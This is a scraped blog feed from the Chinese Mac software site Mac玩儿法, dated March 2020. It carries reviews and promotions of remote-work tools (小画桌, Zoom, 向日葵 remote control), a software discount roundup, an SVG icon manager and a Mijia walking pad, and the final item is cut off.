    + + 小画桌 – 远程办公利器,随时随地沟通无障碍 + https://www.waerfa.com/xiaohuazhuo-review + https://www.waerfa.com/xiaohuazhuo-review#respond + Wed, 25 Mar 2020 15:44:19 +0000 + + + + + https://www.waerfa.com/?p=106866 + + 一场疫情让各个行业的从业者深刻认识到了远程办公的重要性,在远程办公场景中,团队沟通一直是核心需求,视频会议也好,Trello 式的任务派发也好,,会议上你怎么将自己的idea,文档也好,图片也好分享给其他同事?仅支持文本沟通的任务协作工具里你怎么将自己的想法快速的传递出去?这两类工具都有其功能上的局限性,今天我们推荐一款能声情并茂的进行沟通的工具:小画桌,一款可以在电脑,平板,手机上使用的实时多人协作工具。

    + +

    小画桌给我的产品印象来自于学生时代的黑板,老师们用粉笔在黑板上将自己的知识展示成文字、图形,然后用非常详尽的叙述将知识授予给你。而小画桌也是这样,这款轻量级的在线实时多人协作白板工具就是你学生时代的小黑板,你的“老师”(boss、pm等等)与“同学”(各线条同事)都可以在同一个“黑板”(其实是白板)中分享自己的知识,业务开展计划,头脑风暴等场景,当然,使用它开会更重要。

    + +
    小画桌官方网站
    + +

    小画桌的第一印象

    + +

    小画桌 – 远程办公利器,随时随地沟通无障碍插图

    + +

    小画桌基于WEB网页运行,可直接跨过平台、客户端的需求,实时上许多从业者都在推崇 WEB/HTML5/小程序的发展,注册免费版用户后可享用所有功能(只是在使用资源数量上有限制),诸如:

    + +
      +
    • 指针
    • +
    • 画笔
    • +
    • 文本(标注)
    • +
    • 上传(支持Word、Excel、PPT、PDF,JPG/PNG 等图片格式)
    • +
    • 便签
    • +
    • 图形
    • +
    • 橡皮擦
    • +
    • 实时语音
    • +
    • 1对多实时演示(以演示者作为第一视角去观看白板/画布)
    • +
    • 多人协作画布
    • +
    • 画布下载(图片格式)
    • +
    • 白板内创建多页画布
    • +
    • 无限画布上的地图导航
    • +
    • ……
    • +
    + +

    另外需要注意的是新建的白板分两种,一个是公共白板,你的团队成员都可以看到,还有一种是付费版才能使用的项目组白板,组建一个项目组后,只有被邀请的人才能加入创建的白板。

    + +

    下面我们来详细介绍一下小画桌的整体使用感受。

    + +

    在小画桌上展开思想交流

    + +

    进入新创建的画布后,顶部工具栏是各种指针、画笔、文本、上传等功能,可以用电脑键盘上的数字键“1、2、3…”来快速切换到对应功能。我们来看看下面的动图演示,要比文字直观的:

    + +
    小画桌 – 远程办公利器,随时随地沟通无障碍插图(1)
    画笔标注工具
    + +
    小画桌 – 远程办公利器,随时随地沟通无障碍插图(2)
    这张动图演示为图形、便签功能模块的
    + +
    小画桌 – 远程办公利器,随时随地沟通无障碍插图(3)
    文本标注
    + +
    小画桌 – 远程办公利器,随时随地沟通无障碍插图(4)
    文件上传
    + +

    另外如果一个画布可以展示的内容太多,也可以在当前的白板上新建第二张画布,画布之间可通过左下角的导航按钮切换。

    + +

    多人协作

    + +

    介绍完基础的画桌功能后,我们来讲讲最具核心价值的功能:多人协作

    + +

    小画桌 – 远程办公利器,随时随地沟通无障碍插图(5)

    + +

    多人协作意思就是你可以将当前的画布分享给其他团队成员或者是分享给只是查看画布不加入团队的人,分享形式可以用 URL 链接,也可以用二维码扫描,参与进来的人可以设定为编辑者(可以有与创建者同样的权限去编辑画布),也可以设定为仅仅观看画布的查看者

    + +

    当你邀请某个用户加入到你的画布后默认是加入你的团队的,而且ta可以直接看到公共区域(团队成员共享区域)的白板。

    + +

    多人协作的两大支撑利器就是:演示模式 与 语音

    + +

    演示模式

    + +

    小画桌 – 远程办公利器,随时随地沟通无障碍插图(6)

    + +

    点击右上角的“演示”按钮后,当前画布就进入了演示模式,画面另N端屏幕前的同事们就可以看到你在画布上的一举一动,包括你的文本标注、画笔留下的优雅流线,上传的业绩图,不停游走的指针以及忽大忽小的画布(mac可以让演示者随心所欲的缩放整个画布),而具有编辑权限的协作者也能在同一个画布上发起演示,每个人都可以看到画布上发生的一切。

    + +

    小画桌 – 远程办公利器,随时随地沟通无障碍插图(7)

    + +

    语音

    + +

    在演示的过程中,实时变化的文字、图片、文件都有了,就差boss的声音了,语音功能可以帮你击穿最后的沟通屏障,此时boss说的话,表达的意思可以更直白的让在家穿睡衣喝咖啡的你了解他捉急完成任务心情。

    + +

    所有具备编辑权限的协作者进入画布后都能打开语音模块让进入协作画布的同事一起交流,而如果仅具有查看画布权限的人则不能主动发起语音模块,编辑者发起语音模块后才能正常使用语音,并可以听到别人说话,正常交流。

    + +

    导航地图

    + +

    短短几分钟,你的boss就会将idea布满整个画布,如果boss没有打开演示模式,随着内容的增多,队员们会在众多内容中无法跟随boss的脚步,因为boss在更多空白区域的画布上放入内容时,你的画布视角并不会跟随移动,所以你就需要右下角的导航,导航里方块区域是你当前所在区域,而淡蓝色的区域是由内容的区域,你可以用方块来定位大体位置,当协作者出现在协作状态时,它有以圆点的形式显示在导航里,圆点的颜色和他的头像背景色是一致的。如果boss打开演示模式,大家则可以和boss有同样的视角。

    + +

    小画桌 – 远程办公利器,随时随地沟通无障碍插图(8)

    + +

    其他一些精心设计的小功能

    + +
      +
    • 画布可以用PNG的格式下载到本地;
    • +
    • 画布有历史版本,可以跟容易切换到源版本;
    • +
    • 全屏模式;
    • +
    • 在其他设备,比如手机、平板上的浏览器上打开邀请链接即可进入画布,而且是全功能使用。
    • +
    + +

    付费政策

    + +

    小画桌除了提供可以体验全部功能的免费版,还提供了可解除“单个白板可分享团队外查看人数”、“在我的团队中可编辑白板数”、“白板内画布页数”为不限的标准版与高级版,另外这两种付费计划都提供了长达1200分钟的“每月最高使用时长语音”以及3人或3人以上的团队人数设置。

    + +

    标准版(3个人)年付分摊到每个人是: ¥5.28/月/人; +高级版(3个人起)年付分摊到每个人是: ¥7.8/月/人;有趣的是无论人数增加多少,年付分摊到每个人都是 ¥7.8/月/人。

    + +

    总结

    + +

    总的来说,小画桌是一款特别轻便,适合用户随时随地发起、加入的实时沟通工具,对于团队沟通、实时授课等场景都有很好的支撑,目前他们的官网正在做疫情期间的「免费领取 90 天会员」的活动,可以领取付费的标准版与高级版,时长为 90 天。

    + +
    小画桌官方网站
    +

    本文发表自Mac玩儿法,转载请注明转自《小画桌 – 远程办公利器,随时随地沟通无障碍

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/xiaohuazhuo-review/feed + 0 +
    + + Zoom:超级强大的视频会议软件 + https://www.waerfa.com/zoom-review + https://www.waerfa.com/zoom-review#respond + Tue, 24 Mar 2020 13:34:02 +0000 + + + + + + + + + https://www.waerfa.com/?p=106846 + + Zoom:超级强大的视频会议软件插图

    + +

    一场疫情将所有的远程控制、视频会议、团队协作产品推到了幕前,就在发文之前,我还在雪球上看到了 Zoom 这款知名视频会议软件的股票激增。Zoom 应该是我用过的在线视频会议软件里最强大的了。

    + +

    目前,Zoom 为了支持中国人民抗击疫情,正在提供不限时长、免费的在线视频会议服务。我们仍然以 macOS 与 iOS 两个平台上的 Zoom 客户端举例(Zoom 还支持 Win、Android)。

    + +

    注册 Zoom 后登陆客户端,你可以发起新的视频会议,加入其他人发起的会议,安排一次会议,或是单纯的与其他人共享你的设备屏幕进行交流,从界面设计、功能布局,整体气质上看 Zoom 的商务气息比较浓厚。

    + +
    Zoom:超级强大的视频会议软件插图(1)
    四个主要功能右侧可以显示即将召开的会议
    + +

    开启一个新会议

    + +

    Zoom 使用起来完全没有技术门槛,点击「新会议」即可进入「在线会议室」,在你没有关闭设备前置摄像头或者静音麦克风的前提下,画面是下面这样的。

    + +

    Zoom:超级强大的视频会议软件插图(2)

    + +

    Zoom 的会议背景不是鼓噪的单色,你可以选择 Zoom 为你准备好的背景,也可以上传自己的图片,甚至是视频都可以,不过一般公司视频会议不会用视频作为背景,那样就不严肃了。

    + +

    在视频会议上,你可以控制前置摄像头、麦克风的开关,可以邀请其他人加入会议(URL),与其他与会者聊天,对视频会议进行录像保存,发送表情,共享你的设备屏幕,管理与会者(对其静音),当参与会议人数逐渐增多时,你可以将视频画面切换成一对多的画廊视图(你自己的主屏对其他人的小屏)或是演讲者视图的网格形式进行观看。

    + +

    Zoom:超级强大的视频会议软件插图(3)

    + +

    加入一次会议

    + +

    Zoom:超级强大的视频会议软件插图(4)

    + +

    加入其他会议很简单,只需输入会议号、填写昵称即可进行会议,加入前你可以选择不自动连接语音,保持摄像头关闭。

    + +

    不带摄像头拍摄的会议界面是下面这样的,哦,对了,除了通过发起会议者的邀请链接进入会议,你和你的同事还能通过电话的拨号形式接入到会议里。

    + +

    Zoom:超级强大的视频会议软件插图(5)

    + +

    共享屏幕

    + +

    Zoom 的共享屏幕功能非常强大,可以共享设备屏幕的:

    + +
      +
    1. 全屏
    2. +
    3. 部分自选屏幕区域
    4. +
    5. 第二摄像头
    6. +
    7. 第一桌面
    8. +
    9. 白板
    10. +
    11. 通过 AirPlay 共享的 iOS 设备
    12. +
    13. 通过数据线连接的 iOS 设备
    14. +
    15. Dropbox/OneDrive/Google Drive/Box 这类云服务的内容
    16. +
    + +
    Zoom:超级强大的视频会议软件插图(6)
    白板功能其实就是方便boss们在大家面前写写画画,谈谈今年的赚钱计划
    + +
    Zoom:超级强大的视频会议软件插图(7)
    全屏幕下的共享状态,发起者的视频在右上角有显示,非常适合企业使用
    + +

    安排一次会议

    + +

    作为一名管理者或者行政人员,线下安排一次会议经常会遇到各种问题,比如会议冲突、人员不齐等问题,但是在 Zoom 安排,或者也可以说是计划一次会议是非常快捷成熟的,你可以设置会议时长,设置会议加入密码,选择主持人、与会者是否有视频、音频权限,整合到哪个日历进行提醒以及开启等候室,允许主持人会议前加入,与会者初次入会默认静音,自动录制会议视频到本地硬盘(视频会议关闭后自动保存)等功能。

    + +

    Zoom:超级强大的视频会议软件插图(8)

    + +

    已经安排的会议会在会议频道里显示,所有会议信息都优雅的展示在大标题下方。

    + +

    Zoom:超级强大的视频会议软件插图(9)

    + +

    iOS 上的使用感受

    + +

    iOS 上使用 Zoom 体验和桌面版客户端是完全一致的,而且 iOS 版的 Zoom 屏幕共享还多出了 iCloud Drive、照片.app、网页、书签等渠道的展示。

    + +

    Zoom:超级强大的视频会议软件插图(10)

    + +

    在安全驾驶模式下,用户只要按一下下方的橙色按钮才能说话。

    + +

    Zoom:超级强大的视频会议软件插图(11)

    + +

    其他一些细节设计

    + +
      +
    1. 双屏幕模式,会议视频与共享的屏幕分别处于自己的屏幕
    2. +
    3. 会议开始后自动复制会议的邀请链接
    4. +
    5. 离会弹框确认
    6. +
    7. 显示会议持续时间
    8. +
    9. 会议开始前自定义时间提醒自己
    10. +
    11. 黑白两色主题
    12. +
    13. 表情肤色可选择
    14. +
    15. 字幕字号可自定义
    16. +
    17. 键盘快捷键
    18. +
    19. 硬件资源利用情况监控
    20. +
    21. 摄像头比例选择
    22. +
    23. 视频美颜
    24. +
    + +

    Zoom 官方网站

    +

    本文发表自Mac玩儿法,转载请注明转自《Zoom:超级强大的视频会议软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/zoom-review/feed + 0 +
    + + 复工复学购软特惠 办公学习类软件优惠 6 折起! + https://www.waerfa.com/return-to-work-and-school-exclusive + https://www.waerfa.com/return-to-work-and-school-exclusive#respond + Mon, 16 Mar 2020 16:37:28 +0000 + + + + https://www.waerfa.com/?p=106839 + + 复工复学购软特惠 办公学习类软件优惠 6 折起!插图 + +

    春暖花开三月天,众多地区的企业开始全面复工,各大高校也开启了远程授课模式。刚刚复工复学是不是感觉不在状态?我们的朋友数码荔枝,就在最近带来了多款热门办公学习类软件的促销。最低 6 折起,助你活力十足开启工作状态。

    + +

    包含 PDF Expert、WPS Office 会员、MarginNote、奶牛快传等在内的众多实用工具,在折扣的基础上领取 Mac玩儿法专属优惠券,下单还能再减 5 元: 点击领取

    + +
    复工复学主力活动入口
    + +

    WPS Office 会员 / 超级会员 — 8折

    + +

    WPS Office 超级会员可享 365G 云空间,最多可与 400 位成员进行云协作。团队文档协作更加高效,师生不见面也能修改交流论文。除了轻量跨平台优点外,文件数据修复、屏幕录制、论文排版等功能让办公学习都得心应手。

    + +

    WPS Office 会员月卡最低 11.8 元起,超级会员年卡叠加优惠券只需 124 元。

    + +
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(1)
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(2)

    WPS For Mac

    不仅仅是功能移植

    + +
    购买特惠 WPS Office 会员 / 超级会员
    + +

    PDF Expert — 6折

    + +

    macOS 平台处理 PDF 文档,当然用 PDF Expert!快速流畅的阅读体验,搭配便捷的文档批注、编辑功能,处理 PDF 就像编辑 Word 文档一样轻松简单。

    + +

    PDF Expert 折扣价 89 元,领取Mac玩儿法专属优惠券,下单还能再减 5 元。

    + +
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(3)
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(4)

    PDF Expert 2 for Mac

    顶级 PDF 文档编辑软件

    + +
    购买特惠 PDF Expert
    + +

    iText — 8折

    + +

    符合 macOS 平台使用习惯的 OCR 工具,支持截图、拖拽图片等方式进行文字识别。优秀处理技术搭配独创算法,识别又快又准!

    + +

    iText 一月版只需 6.4 元,一年版可使用Mac玩儿法专属优惠券,到手价 57.4 元。

    + +
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(5)
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(6)

    iText

    懒汉!用它能从图片提取文字!「特惠版上架」

    + +
    购买特惠 iText
    + +

    MarginNote 3 — 7折

    + +

    MarginNote 3 是书籍阅读和学习的好工具,可以制作笔记进行深度阅读与复习。近期更新的标题链接功能,让学习更加立体。可将笔记转化为内部词典,为其他书籍中的文本自动匹配笔记标题,生成注释链接。在阅读文章时看到某文本匹配之前笔记的标题,就可以通过链接快速查询意思,助你快速回顾知识。

    + +

    MarginNote 3 一年版折扣,现在领券再减 5 元,学习利器 64 元就能带走。

    + +
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(7)
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(8)

    MarginNote

    功能强大的阅读笔记工具(Mac/iOS)

    + +
    购买 MarginNote 3
    + +

    奶牛快传 — 85折

    + +

    闲暇时想给朋友分享出游的美照、视频,某些网盘却各种限速?你需要在线大文件传输服务:奶牛快传。付费用户最高可获得 3TB 云盘空间,可加密分享还无需客户端,上传下载文件不限速、不限大小。

    + +

    领Mac玩儿法专属优惠券下单,一年最低仅需 79.15 元起。

    + +
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(9)
    复工复学购软特惠 办公学习类软件优惠 6 折起!插图(10)

    奶牛快传

    文艺型的文件高速传输服务

    + +
    购买特惠奶牛快传
    + +

    福昕 PDF 编辑器 — 7折

    + +

    Windows 平台好用的 PDF 编辑器哪里找?选福昕 PDF 编辑器准没错。个人版可一键搞定 PDF 编辑、合并、水印处理,而福昕高级 PDF 编辑器,可实现转换、签署保护、OCR 文字识别等高级功能。

    + +

    福昕 PDF 编辑器系列 7 折优惠,券后最低一年只需 134.3 元起。领取Mac玩儿法专属优惠券,下单才实惠。

    + +
    购买特福昕 PDF 编辑器
    + +

    白描 — 75折

    + +

    手机端 OCR 工具就选白描!手机扫描纸质文档即可生成 PDF,还可快捷生成身份证正反面 A4 扫描件。老师板书、工作文件用手机拍照就能提取文字,多种语言都能识别翻译。白描享受 6 折促销,会员最低只需 3.6 元起。

    + +
    购买特惠白描
    + +

    天若 OCR — 8折

    + +

    Windows 端优秀的 OCR 软件,支持文本、表格、公式等图片的识别转文字。截屏录屏、识别后搜索翻译功能,让工作不再低效。工作学习中,总会遇到将纸质档数据录入电脑的任务,手动操作太麻烦。想减轻工作量,OCR 图片转文字工具就是你的救星。

    + +
    购买天若 OCR
    + +

    希望大家保持乐观心态,开启的新旅程。复工复学别沮丧,这些工具让你活力满满。此次特惠活动到3月31日24时结束。

    +

    本文发表自Mac玩儿法,转载请注明转自《复工复学购软特惠 办公学习类软件优惠 6 折起!

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/return-to-work-and-school-exclusive/feed + 0 +
    + + Iconset:免费的 SVG 图标资源管理软件 + https://www.waerfa.com/iconset-review + https://www.waerfa.com/iconset-review#respond + Sat, 07 Mar 2020 07:21:32 +0000 + + + + + + + https://www.waerfa.com/?p=106829 + + Iconset 是一款免费的 SVG 图标资源管理软件,专业设计师必备,免费的,不多见啊。官网就提供了免费的 SVG 图标资源,可直接在线导入到本地 Iconset 软件。支持分 group 管理。可直接将文件拖入到 Photoshop、PowerPoint、Sketch、Affinity 等平台进行编辑。

    + +

    Iconset:免费的 SVG 图标资源管理软件插图

    + +

    软件默认支持 Dark Mode,夜间在 iMac 等大屏幕上使用更加舒适,图标尺寸、标签、描述可方便查看或编辑。

    + +

    Iconset:免费的 SVG 图标资源管理软件插图(1)

    + +

    set 比 group 是最低一级的组织方式,每个图标可在任意 set、group 进行移动。

    + +

    Iconset:免费的 SVG 图标资源管理软件插图(2)

    + +

    通过 tag、file name 可搜索图标

    + +

    Iconset:免费的 SVG 图标资源管理软件插图(3)

    + +

    在新建 icon set 时可以在既有 group 下新建,导入的时候可以对 SVG 文件进行优化清理,自动对已有子目录组织成 icon group。

    + +

    Iconset:免费的 SVG 图标资源管理软件插图(4)

    + +

    在图标右键菜单里有 copy as 格式转换 等操作。

    + +

    Iconset:免费的 SVG 图标资源管理软件插图(5)

    + +
    Iconset 官网
    +

    本文发表自Mac玩儿法,转载请注明转自《Iconset:免费的 SVG 图标资源管理软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/iconset-review/feed + 0 +
    + + 米家走步机评测,好用不贵 + https://www.waerfa.com/mijia-walkingpad-review + https://www.waerfa.com/mijia-walkingpad-review#respond + Fri, 06 Mar 2020 13:39:38 +0000 + + + + + + https://www.waerfa.com/?p=106821 + + 米家走步机评测,好用不贵插图

    + +

    首先声明这并不是一篇恰饭文章,是小编自己在网上购买来锻炼身体减肥用的,之前在网上看了许多跑步机、走步机,最后选择了米家这款走步机,综合考虑了价格、功能以及我的使用需求才最后选择了它,比米家功能强大的机型太多了,但它们对于我这种只是想把脂肪减下去的用户许多功能都是浪费的。

    + +

    米家走步机可折叠放置,完全展开长度余约 1.4 米左右,宽度 0.5 米左右,折叠状态长度为 0.8 米,整体设计非常精巧,不过多占用家庭空间,这也是我购买它的主要原因。个人认为宽度设计过于吝啬,如果能再宽一些,履带更宽一些就更好了,现在走起来总担心会走到履带外面,没有安全感。

    + +

    机器最低速度 0.5 km/h,最高速度 6.0 km/h。

    + +

    下图右边为机器头部,表面上有三颗隐藏式指示灯,分别是待机、手动模式、自动模式。电源接线处左侧有电源开关。

    + +

    米家走步机评测,好用不贵插图(1)

    + +

    机器随厂主要提供一个遥控器(控制启动、加减速、模式切换),调节履带左右间距的扳手以及每个月定期为履带润滑的硅油。

    + +

    米家走步机评测,好用不贵插图(2)

    + +

    机头右侧有一个复位按钮,初次使用让机器自动与家里的 wifi 联网就用它,长按 2 秒让机器自己初始化连接网络。

    + +

    米家走步机评测,好用不贵插图(3)

    + +

    走步机有一个新手教学模式,必须完成后才能解锁机器在 4.0 km/h 以上的速度,最高 6.0 km/h,而且只有完成此教学才能使用米家 app 控制你的走步机。

    + +

    米家走步机评测,好用不贵插图(4)

    + +

    在手机的米家 app 上选择添加米家走步机,然后确认你的走步机是否进入待机模式(如上图操作),确认走步机工作的 wifi 网络,其实连接你的米家 app 通信,这款走步机只支持连接 2.4 GHz 频段。搞定后米家 app 上就多出了这个新成员,此时你登上走步机启动设备,让设备开始运行,米家 app 会自动引导你进入新手模式。

    + +

    先确定你的性别,年龄、身高等数据。

    + +

    米家走步机评测,好用不贵插图(5)

    + +

    新手引导先教你如何使用手动模式,很简单,跟着 app 指使,用遥控器在不同的速度下走慢 1 分钟即可。

    + +

    米家走步机评测,好用不贵插图(6)

    + +

    速度会逐步加快,锻炼时不要穿拖鞋或光脚,穿上运动鞋啊。。。

    + +

    米家走步机评测,好用不贵插图(7)

    + +

    前面我们提到这款走步机有手动和自动两种模式,说白了就是手动模式可以让你用 app 或遥控器手动加减步伐速度(履带速度),自动模式会根据你的步伐节奏,机器自动调整履带速度,当你在靠近机头附近的履带走步时,机器会根据你的步伐速度自动加速,而当你在履带中部行走时机器会根据你的节奏减慢履带速度,退至机尾附近,履带会自动停止运行。

    + +

    在机头你可以获取到本次锻炼,已经走步的累计时间:

    + +

    米家走步机评测,好用不贵插图(8)

    + +

    本次锻炼累计的步伐:

    + +

    米家走步机评测,好用不贵插图(9)

    + +

    累计的公里数

    + +

    米家走步机评测,好用不贵插图(10)

    + +

    当前机器运行速度(最小0.5,最大6.0)

    + +

    米家走步机评测,好用不贵插图(11)

    + +

    启动走步机后,机器会提示你先站上来,再通过遥控器或 app 启动锻炼,同理,当你想停止走步时,需要先停止机器运行,再从走步机上下来,不建议机器还在运行时就跳下机器,这样存在安全隐患,特别是你长时间在走步机运动后突然落地会感到身体平衡不适,这个我亲测体会。

    + +

    米家走步机评测,好用不贵插图(12)

    + +

    机尾两侧各有两个可供L型扳手插入的多边形孔,用来调整履带是否位置居中,当你的履带即将或者已经贴在了两遍的旁轴时,需要马上将扳手插入到里面顺时针转动,需要花一些力气才能转动,调整至履带适当居中即可,这里就需要提到「偏移校正」这个功能。

    + +

    偏移校正需要你用遥控器,同时长按遥控器的模式切换按钮和加速按钮 3 秒以上(前提是需要完成新手引导模式)进入,机头会显示 CALI 字幕代表进入偏移校正状态;或者通过米家 app 设置菜单里打开此模式。

    + +

    米家走步机评测,好用不贵插图(13)

    + +

    进入偏移校正后,机器会以 4km/h 的速度自动运行,如果履带偏左,将扳手插入左侧接口顺时针旋动 1/4 圈,如果履带偏右,将扳手插入右侧接口顺时针旋动 1/4 圈,完事让走步机运行 1-2 分钟观察是否居中,不行再次调整即可,其实这种办法不如在机器停机后半折叠状态下好调整,但是比较安全。

    + +

    使用米家 app 可以控制走步机也可以查看你每天的运动数据。

    + +

    进入米家 app,再进入你的设备界面,可以看到本次运动的数据,下方就是虚拟的开关机按钮,开始运动按钮以及模式切换按钮,不过我运动时都用遥控器,不喜欢用手机控制。

    + +

    米家走步机评测,好用不贵插图(14)

    + +

    在 app 上还能控制加减速,这个 UI 设计蛮酷的。

    + +

    米家走步机评测,好用不贵插图(15)

    + +

    消耗的卡路里是我最关心的数据,但是这个信息并不能直接在走步机显示,而且我认为这款产品有一些值得改进的地方,比如运动数据可以同步到微信运动里就更好了,可惜并不支持。

    + +

    米家走步机评测,好用不贵插图(16)

    + +

    总的来说,这款走步机没有太多花里胡哨的功能,比较追求实用主义,如果你像我一样,仅仅是减肥需求当然可以选择它了,如果是其他一些运动形式,那它可能满足不了你,因为没有跑步模式,机器宽度也不太理想,不能做剧烈运动,也没有啥娱乐系统,不过考虑这款设备大部分场景在客厅里,有没有娱乐系统无所谓了,反正2客厅有电视,HomePod 围绕着我还不算枯燥。

    + +

    最后价格我就不说了,购买链接我也不放,以免有软文行为,如果大家有分享自己使用数码产品以及周边硬件产品的愿望,我们欢迎您向我们投稿。

    +

    本文发表自Mac玩儿法,转载请注明转自《米家走步机评测,好用不贵

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/mijia-walkingpad-review/feed + 0 +
    + + 向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」 + https://www.waerfa.com/sunlogin-2020-review + https://www.waerfa.com/sunlogin-2020-review#respond + Mon, 02 Mar 2020 15:49:17 +0000 + + + + + + + + https://www.waerfa.com/?p=106746 + + 当前疫情形势仍旧严峻,在经济发展与传染控制中间找到一个折中的方案好说,但是后期复工是否会造成交叉传染谁都不敢打包票,所以建议非劳动型、制造型企业,非警察、医院、水电煤气等公共事业单位等企业均可采取居家远程办公形式,特别是IT公司可以说是受这次疫情影响相对较小的行业,大家在家可以用微信、协同办公服务、视频会议等产品完成日常大部分工作任务。

    + +

    但是,这里有一个问题就来了。

    + +

    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图

    + +

    本职岗位重要的工作资料、比如代码、设计素材、财务文件等等都在公司电脑里,而现在又不能回去,怎么开展工作,有的同学连村口都迈不出去。

    + +

    此时你需要一个靠谱的远程控制软件来远程操控你在公司的电脑。向日葵是小编用了好几年的远程办公产品,可以快速对你的 PC、Mac 进行远程控制、桌面查看、远程文件传输等操作,甚至可以调用目标电脑的摄像头和命令行app。

    + +
    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(1)
    远程控制电脑可调用命令行工具⌘ 、电脑前置摄像头、远程开机/重启等
    + +

    国难当前,匹夫有责,向日葵将免费版的带宽进行了提速,主动帮助用户尽可能较好的完成远程控制操作。当你启动向日葵远程控制后,在远程桌面顶部有一个类似 Win 远程控制的工具栏,你可以用到“远程聊天”、调用摄像头、远程文件传输、屏幕录像、屏幕截图、新建白板等操作。

    + +
    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(2)
    从 iPhone 端远程与电脑传输文件
    + +

    在扩展菜单里可以选择远程控制的桌面模式、分辨率、是否开启远程设备声音(会消耗带宽),精英版以上用户还可以选择专属的 BGP 加速通道。

    + +

    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(3)

    + +

    同理,如果你面前没有台式电脑或笔记本电脑,你也可以在 iPhone、iPad、Android 上远程控制你的电脑。

    + +

    以 iPhone 远程控制 PC 举例,向日葵为你准备了一个强大的远程键盘,可以自定义快捷组合键并且悬浮在控制界面右侧方便随时调用,默认内置了十几个 Win 出厂的组合键,当然,Win 键与 Fn 功能键,PC 小键盘的键位也都有安排。

    + +
    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(4)
    向日葵的远程键盘除了能远程完成在电脑上的文本操控,还能完成组合键的快速应用(内置了许多电脑的出厂组合键),Fn功能键调用以及组合键的自定义。
    + +

    同理,向日葵也能实现电脑之间的远程操控,仅需在电脑上下载操控客户端即可,比如在 Win 上下载向日葵X,在 Mac 上下载“控制端 for Mac”。

    + +

    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(5)

    + +

    另外向日葵还可以实现将 iOS、Android 设备投屏到电脑上,以 iPhone 举例,确认 iPhone 已安装向日葵app,然后调用控制中心下拉窗口,长按屏幕录制按钮,选择向日葵,点击「开始录制」,然后在电脑侧打开投屏专用二维码,再进入 iPhone 的向日葵app,进入「我的」,点击左上角二维码扫描按钮对着投屏专用二维码进行扫描即可触发高清投屏窗口。

    + +

    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(6)

    + +

    另外如果需要考虑到远程电脑的用电、防火安全以及节能需求,你还可以购买向日葵专用的开机棒,远程使用完电脑后关机,等下一次需要开机时通过开机棒即可完成远程电脑的开机,而向日葵远程控制则自带关机与重启的功能。

    + +

    这次我们送上向日葵的服务类全场通用40元红包500个,大家可以在购买向日葵入门版、精英版、游戏版年度会员的时候兑换使用,兑换红包后请尽快使用,免费版仅支持对一台主机(安卓手机)的远程控制,而另外三个版本都是按“主机/年”的价格计算,入门版新增一台主机价格为 98 元,精英版 158 元,游戏版 298 元,每个版本享有的服务都不一样,具体看下图:

    + +

    向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」插图(7)

    + +
    Mac玩法红包:3069554354
    +
    +兑换码领取  http://buy.oray.com/coupon/sunlogin
    +

    本文发表自Mac玩儿法,转载请注明转自《向日葵:远程办公 共同战疫 取消带宽限制「40元红包赠送中…」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sunlogin-2020-review/feed + 0 +
    + + 向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等 + https://www.waerfa.com/sunlogin-for-ios-update-202003 + https://www.waerfa.com/sunlogin-for-ios-update-202003#respond + Mon, 02 Mar 2020 10:38:24 +0000 + + + + + + + + + https://www.waerfa.com/?p=106799 + + 近日,知名远程控制品牌向日葵更新升级了向日葵远程控制 iOS 控制端,统一明亮主题 UI 界面,支持扫码登录 PC 端和微信授权登录 APP,iOS 版控制端还适配 iPad 横屏,支持跨平台、跨系统复制粘贴文字等功能,为向日葵 iOS 主控端用户带来新体验。

    + +

    向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等插图

    + +

    统一 UI 界面

    + +

